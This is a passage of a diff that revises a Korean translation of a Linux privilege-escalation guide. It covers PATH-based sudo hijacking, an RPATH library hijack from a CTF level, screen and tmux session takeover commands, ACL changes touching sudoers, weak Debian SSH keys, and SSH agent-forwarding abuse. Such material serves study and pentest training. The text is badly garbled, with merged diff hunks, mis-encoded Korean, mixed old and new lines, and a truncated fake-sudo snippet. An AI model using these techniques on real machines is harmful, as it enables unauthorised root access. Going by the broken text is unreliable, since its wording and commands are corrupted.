`~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -๋˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib์„ `/var/tmp/flag15/`๋กœ ๋ณต์‚ฌํ•˜๋ฉด `RPATH` ๋ณ€์ˆ˜์— ์ง€์ •๋œ ๋Œ€๋กœ ํ”„๋กœ๊ทธ๋žจ์ด ํ•ด๋‹น ์œ„์น˜์˜ lib์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +lib๋ฅผ `/var/tmp/flag15/`๋กœ ๋ณต์‚ฌํ•˜๋ฉด `RPATH` ๋ณ€์ˆ˜์— ์ง€์ •๋œ ๋Œ€๋กœ ํ”„๋กœ๊ทธ๋žจ์ด ์ด ์œ„์น˜์—์„œ ํ•ด๋‹น lib๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1108,9 +1103,9 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## ๊ถŒํ•œ(Capabilities) +## Capabilities -Linux capabilities๋Š” **ํ”„๋กœ์„ธ์Šค์— ๋ถ€์—ฌ๋˜๋Š” root ๊ถŒํ•œ์˜ ํ•˜์œ„ ์ง‘ํ•ฉ**์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” root ๊ถŒํ•œ์„ **๋ณด๋‹ค ์ž‘๊ณ  ๊ตฌ๋ถ„๋˜๋Š” ๋‹จ์œ„๋“ค๋กœ ๋ถ„ํ• **ํ•˜๋Š” ํšจ๊ณผ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ๋‹จ์œ„๋Š” ๊ฐœ๋ณ„์ ์œผ๋กœ ํ”„๋กœ์„ธ์Šค์— ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์ „์ฒด ๊ถŒํ•œ ์ง‘ํ•ฉ์ด ์ถ•์†Œ๋˜์–ด ์•…์šฉ ์œ„ํ—˜์ด ์ค„์–ด๋“ญ๋‹ˆ๋‹ค.\ +Linux capabilities๋Š” ํ”„๋กœ์„ธ์Šค์— ์ œ๊ณต๋˜๋Š” ๋ฃจํŠธ ๊ถŒํ•œ์˜ **๋ถ€๋ถ„ ์ง‘ํ•ฉ**์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฃจํŠธ ๊ถŒํ•œ์„ **๋” ์ž‘๊ณ  ๊ตฌ๋ณ„๋˜๋Š” ๋‹จ์œ„๋กœ ๋ถ„ํ•ด**ํ•˜๋Š” ํšจ๊ณผ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ ๋‹จ์œ„๋Š” ๊ฐœ๋ณ„์ ์œผ๋กœ ํ”„๋กœ์„ธ์Šค์— ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ์จ ์ „์ฒด ๊ถŒํ•œ ์ง‘ํ•ฉ์ด ์ถ•์†Œ๋˜์–ด ์•…์šฉ ์œ„ํ—˜์ด ์ค„์–ด๋“ญ๋‹ˆ๋‹ค.\ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด **capabilities์™€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•**์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”: @@ -1118,30 +1113,30 @@ Linux capabilities๋Š” **ํ”„๋กœ์„ธ์Šค์— ๋ถ€์—ฌ๋˜๋Š” root ๊ถŒํ•œ์˜ ํ•˜์œ„ ์ง‘ linux-capabilities.md {{#endref}} -## ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ถŒํ•œ +## Directory permissions -๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ **"execute" ๋น„ํŠธ**๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ ํด๋”๋กœ **"cd"** ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.\ -**"read"** ๋น„ํŠธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **ํŒŒ์ผ์„ ๋‚˜์—ด(list)**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๊ณ , **"write"** ๋น„ํŠธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **ํŒŒ์ผ์„ ์‚ญ์ œ(delete)**ํ•˜๊ฑฐ๋‚˜ ์ƒˆ **ํŒŒ์ผ์„ ์ƒ์„ฑ(create)**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. +๋””๋ ‰ํ† ๋ฆฌ์—์„œ, **"execute" ๋น„ํŠธ๋Š”** ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ **"cd"** ํ•ด์„œ ํด๋”๋กœ ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.\ +**"read" ๋น„ํŠธ๋Š”** ์‚ฌ์šฉ์ž๊ฐ€ **list**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๊ณ , **"write" ๋น„ํŠธ๋Š”** ์‚ฌ์šฉ์ž๊ฐ€ **delete** ๋ฐ **create** ์ƒˆ๋กœ์šด **files**ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ## ACLs -Access Control Lists (ACLs)๋Š” ์ž„์˜ ๊ถŒํ•œ์˜ 2์ฐจ ๊ณ„์ธต์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, **์ „ํ†ต์ ์ธ ugo/rwx ๊ถŒํ•œ์„ ์žฌ์ •์˜(overriding)**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ์†Œ์œ ์ž๋‚˜ ๊ทธ๋ฃน์— ์†ํ•˜์ง€ ์•Š๋Š” ํŠน์ • ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ ํŒŒ์ผ์ด๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ ‘๊ทผ์„ ๋” ์ •๋ฐ€ํ•˜๊ฒŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ **์„ธ๋ถ„์„ฑ(granularity)์€ ๋ณด๋‹ค ์ •ํ™•ํ•œ ์•ก์„ธ์Šค ๊ด€๋ฆฌ๋ฅผ ๋ณด์žฅ**ํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)์—์„œ ํ™•์ธํ•˜์„ธ์š”. +Access Control Lists (ACLs)๋Š” ์ž„์˜ ๊ถŒํ•œ(discretionary permissions)์˜ 2์ฐจ ๋ ˆ์ด์–ด๋กœ์„œ, ์ „ํ†ต์ ์ธ ugo/rwx ๊ถŒํ•œ์„ **์žฌ์ •์˜(overriding)**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ์†Œ์œ ์ž๋‚˜ ๊ทธ๋ฃน์— ์†ํ•˜์ง€ ์•Š๋Š” ํŠน์ • ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ ํŒŒ์ผ ๋˜๋Š” ๋””๋ ‰ํ† ๋ฆฌ ์ ‘๊ทผ์„ ๋ณด๋‹ค ์ •๋ฐ€ํ•˜๊ฒŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ˆ˜์ค€์˜ **์„ธ๋ถ„ํ™”(granularity)**๋Š” ๋ณด๋‹ค ์ •ํ™•ํ•œ ์ ‘๊ทผ ๊ด€๋ฆฌ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)์—์„œ ํ™•์ธํ•˜์„ธ์š”. -**๋ถ€์—ฌ** ์‚ฌ์šฉ์ž "kali"์—๊ฒŒ ํŒŒ์ผ์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ๊ถŒํ•œ: +**๋ถ€์—ฌ** ์‚ฌ์šฉ์ž "kali"์—๊ฒŒ ํŒŒ์ผ์— ๋Œ€ํ•œ read ๋ฐ write ๊ถŒํ•œ: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**๊ฐ€์ ธ์˜ค๊ธฐ** ์‹œ์Šคํ…œ์—์„œ ํŠน์ • ACLs๋ฅผ ๊ฐ€์ง„ ํŒŒ์ผ: +**๊ฐ€์ ธ์˜ค๊ธฐ** ์‹œ์Šคํ…œ์—์„œ ํŠน์ • ACL์„ ๊ฐ€์ง„ ํŒŒ์ผ: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## ์—ด๋ฆฐ shell sessions +## shell ์„ธ์…˜ ์—ด๊ธฐ -**์ด์ „ ๋ฒ„์ „**์—์„œ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž(**root**)์˜ **shell** ์„ธ์…˜ ์ผ๋ถ€๋ฅผ **hijack**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -**์ตœ์‹  ๋ฒ„์ „**์—์„œ๋Š” **์ž์‹ ์˜ ๊ณ„์ •**์˜ screen sessions์—๋งŒ **connect**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **์„ธ์…˜ ๋‚ด๋ถ€์˜ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**๊ตฌ๋ฒ„์ „**์—์„œ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž(**root**)์˜ **shell** ์„ธ์…˜์„ **hijack**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +**์ตœ์‹  ๋ฒ„์ „**์—์„œ๋Š” **connect**๋ฅผ **๋ณธ์ธ ์‚ฌ์šฉ์ž**์˜ screen sessions์—๋งŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ **์„ธ์…˜ ๋‚ด๋ถ€์˜ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### screen sessions hijacking @@ -1152,7 +1147,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**์„ธ์…˜์— ์—ฐ๊ฒฐ** +**์„ธ์…˜์— ์—ฐ๊ฒฐํ•˜๊ธฐ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1160,9 +1155,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -์ด ๋ฌธ์ œ๋Š” **๊ตฌํ˜• tmux ๋ฒ„์ „**์—์„œ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. root๊ฐ€ ์ƒ์„ฑํ•œ tmux (v2.1) ์„ธ์…˜์„ ๋น„ํŠน๊ถŒ ์‚ฌ์šฉ์ž๋กœ์„œ ํƒˆ์ทจํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. +์ด ๋ฌธ์ œ๋Š” **old tmux versions**์—์„œ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. ๋‚˜๋Š” non-privileged user๋กœ์„œ root๊ฐ€ ์ƒ์„ฑํ•œ tmux (v2.1) session์„ hijackํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. -**tmux ์„ธ์…˜ ๋‚˜์—ด** +**List tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1180,53 +1175,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -์˜ˆ์‹œ๋กœ **Valentine box from HTB**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. +Check **Valentine box from HTB**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006๋…„ 9์›”๊ณผ 2008๋…„ 5์›” 13์ผ ์‚ฌ์ด์— Debian ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ(Ubuntu, Kubuntu ๋“ฑ)์—์„œ ์ƒ์„ฑ๋œ ๋ชจ๋“  SSL ๋ฐ SSH ํ‚ค๊ฐ€ ์ด ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์ด ๋ฒ„๊ทธ๋Š” ํ•ด๋‹น OS์—์„œ ์ƒˆ๋กœ์šด ssh ํ‚ค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, **๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๊ฐ€ 32,768๊ฐœ๋ฟ์ด์—ˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Š” ๋ชจ๋“  ๊ฐ€๋Šฅ์„ฑ์„ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๋ฉฐ, **ssh public key๋ฅผ ๊ฐ€์ง€๊ณ  ํ•ด๋‹น private key๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ณ„์‚ฐ๋œ ๊ฐ€๋Šฅ์„ฑ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006๋…„ 9์›”๋ถ€ํ„ฐ 2008๋…„ 5์›” 13์ผ ์‚ฌ์ด์— Debian ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ(Ubuntu, Kubuntu ๋“ฑ)์—์„œ ์ƒ์„ฑ๋œ ๋ชจ๋“  SSL ๋ฐ SSH ํ‚ค๋Š” ์ด ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +์ด ๋ฒ„๊ทธ๋Š” ํ•ด๋‹น OS์—์„œ ์ƒˆ ssh ํ‚ค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, **๊ฐ€๋Šฅํ•œ ๋ณ€ํ˜•์ด ๋‹จ 32,768๊ฐœ๋ฟ์ด์—ˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Š” ๋ชจ๋“  ๊ฐ€๋Šฅ์„ฑ์„ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๊ณ  **ssh public key๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉด ๋Œ€์‘ํ•˜๋Š” private key๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋‹ค**๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. ๊ณ„์‚ฐ๋œ ๊ฐ€๋Šฅ์„ฑ ๋ชฉ๋ก์€ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH ํฅ๋ฏธ๋กœ์šด ์„ค์ • ๊ฐ’ +### SSH ํฅ๋ฏธ๋กœ์šด ๊ตฌ์„ฑ ๊ฐ’ -- **PasswordAuthentication:** ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธ์ฆ์ด ํ—ˆ์šฉ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. -- **PubkeyAuthentication:** ๊ณต๊ฐœ ํ‚ค ์ธ์ฆ์ด ํ—ˆ์šฉ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `yes`์ž…๋‹ˆ๋‹ค. -- **PermitEmptyPasswords**: ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธ์ฆ์ด ํ—ˆ์šฉ๋  ๋•Œ ์„œ๋ฒ„๊ฐ€ ๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌธ์ž์—ด์„ ๊ฐ€์ง„ ๊ณ„์ •์œผ๋กœ์˜ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ•˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. +- **PasswordAuthentication:** ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธ์ฆ์„ ํ—ˆ์šฉํ• ์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. +- **PubkeyAuthentication:** ๊ณต๊ฐœ ํ‚ค ์ธ์ฆ์„ ํ—ˆ์šฉํ• ์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `yes`์ž…๋‹ˆ๋‹ค. +- **PermitEmptyPasswords**: ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธ์ฆ์ด ํ—ˆ์šฉ๋œ ๊ฒฝ์šฐ, ์„œ๋ฒ„๊ฐ€ ๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌธ์ž์—ด์„ ๊ฐ€์ง„ ๊ณ„์ •์œผ๋กœ์˜ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ• ์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. ### PermitRootLogin -root๊ฐ€ ssh๋ฅผ ์ด์šฉํ•ด ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•˜๋ฉฐ, ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฐ’: +root๊ฐ€ ssh๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฐ’: -- `yes`: root๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ private key๋ฅผ ์‚ฌ์šฉํ•ด ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- `without-password` ๋˜๋Š” `prohibit-password`: root๋Š” private key๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- `forced-commands-only`: root๋Š” private key๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๊ณ , ๋ช…๋ น์–ด ์˜ต์…˜์ด ์ง€์ •๋œ ๊ฒฝ์šฐ์—๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. -- `no`: ํ—ˆ์šฉ ์•ˆ ํ•จ +- `yes`: root๋Š” password์™€ private key๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- `without-password` or `prohibit-password`: root๋Š” private key๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- `forced-commands-only`: root๋Š” private key๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋ช…๋ น์–ด ์˜ต์…˜์ด ์ง€์ •๋œ ๊ฒฝ์šฐ์—๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. +- `no` : ํ—ˆ์šฉ๋˜์ง€ ์•Š์Œ ### AuthorizedKeysFile -์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” public keys๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. `%h` ๊ฐ™์€ ํ† ํฐ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์น˜ํ™˜๋ฉ๋‹ˆ๋‹ค. **์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** ( `/`๋กœ ์‹œ์ž‘) ๋˜๋Š” **์‚ฌ์šฉ์ž ํ™ˆ์—์„œ์˜ ์ƒ๋Œ€ ๊ฒฝ๋กœ**. ์˜ˆ: +์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” public keys๊ฐ€ ๋“ค์–ด ์žˆ๋Š” ํŒŒ์ผ์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. `%h` ๊ฐ™์€ ํ† ํฐ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์น˜ํ™˜๋ฉ๋‹ˆ๋‹ค. **์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** ( `/`๋กœ ์‹œ์ž‘) ๋˜๋Š” **์‚ฌ์šฉ์ž ํ™ˆ์—์„œ์˜ ์ƒ๋Œ€ ๊ฒฝ๋กœ**. ์˜ˆ: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +ํ•ด๋‹น ๊ตฌ์„ฑ์€ ์‚ฌ์šฉ์ž๊ฐ€ "**testusername**"์˜ **private** key๋กœ ๋กœ๊ทธ์ธํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉด, ssh๊ฐ€ ๋‹น์‹  ํ‚ค์˜ public key๋ฅผ `/home/testusername/.ssh/authorized_keys` ๋ฐ `/home/testusername/access`์— ์žˆ๋Š” ํ‚ค๋“ค๊ณผ ๋น„๊ตํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding์€ ์„œ๋ฒ„์— (without passphrases!) ํ‚ค๋ฅผ ๋‚จ๊ฒจ๋‘์ง€ ์•Š๊ณ  **use your local SSH keys instead of leaving keys** ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ssh๋กœ **to a host**๋กœ **jump**ํ•œ ๋’ค, ๊ทธ๊ณณ์—์„œ **initial host**์— ์œ„์น˜ํ•œ **key**๋ฅผ **using**ํ•˜์—ฌ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ๋กœ **jump to another**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +SSH agent forwarding์„ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„์— ํ‚ค(ํŒจ์Šคํ”„๋ ˆ์ด์ฆˆ๊ฐ€ ์—†๋Š” ๊ฒฝ์šฐ!)๋ฅผ ๋‚จ๊ฒจ๋‘์ง€ ์•Š๊ณ  **๋กœ์ปฌ SSH ํ‚ค๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ssh๋กœ **์ ํ”„**ํ•˜์—ฌ **host๋กœ** ์ด๋™ํ•œ ๋‹ค์Œ, ๊ฑฐ๊ธฐ์—์„œ **๋‹ค๋ฅธ host๋กœ ์ ํ”„**ํ•  ๋•Œ **initial host์— ์žˆ๋Š” key๋ฅผ ์‚ฌ์šฉ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +`Host`๊ฐ€ `*`๋กœ ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ๋จธ์‹ ์œผ๋กœ ์ ‘์†ํ•  ๋•Œ๋งˆ๋‹ค ํ•ด๋‹น ํ˜ธ์ŠคํŠธ๊ฐ€ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”(์ด๋Š” ๋ณด์•ˆ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค). -The file `/etc/ssh_config` can **์˜ต์…˜๋“ค**์„ **๋ฎ์–ด์“ธ** ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ด ๊ตฌ์„ฑ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -The file `/etc/sshd_config` can **ํ—ˆ์šฉ**ํ•˜๊ฑฐ๋‚˜ **๊ฑฐ๋ถ€**ํ•  ์ˆ˜ ์žˆ๋Š” ssh-agent forwarding์„ `AllowAgentForwarding` ํ‚ค์›Œ๋“œ๋กœ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค (๊ธฐ๋ณธ๊ฐ’์€ ํ—ˆ์šฉ). +ํŒŒ์ผ `/etc/ssh_config`๋Š” ์ด **์˜ต์…˜์„ ์žฌ์ •์˜**ํ•˜์—ฌ ์ด ๊ตฌ์„ฑ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +ํŒŒ์ผ `/etc/sshd_config`๋Š” ํ‚ค์›Œ๋“œ `AllowAgentForwarding`๋กœ ssh-agent ํฌ์›Œ๋”ฉ์„ **ํ—ˆ์šฉ**ํ•˜๊ฑฐ๋‚˜ **๊ฑฐ๋ถ€**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’์€ ํ—ˆ์šฉ). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +ํ™˜๊ฒฝ์—์„œ Forward Agent๊ฐ€ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Œ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ๋‹ค์Œ 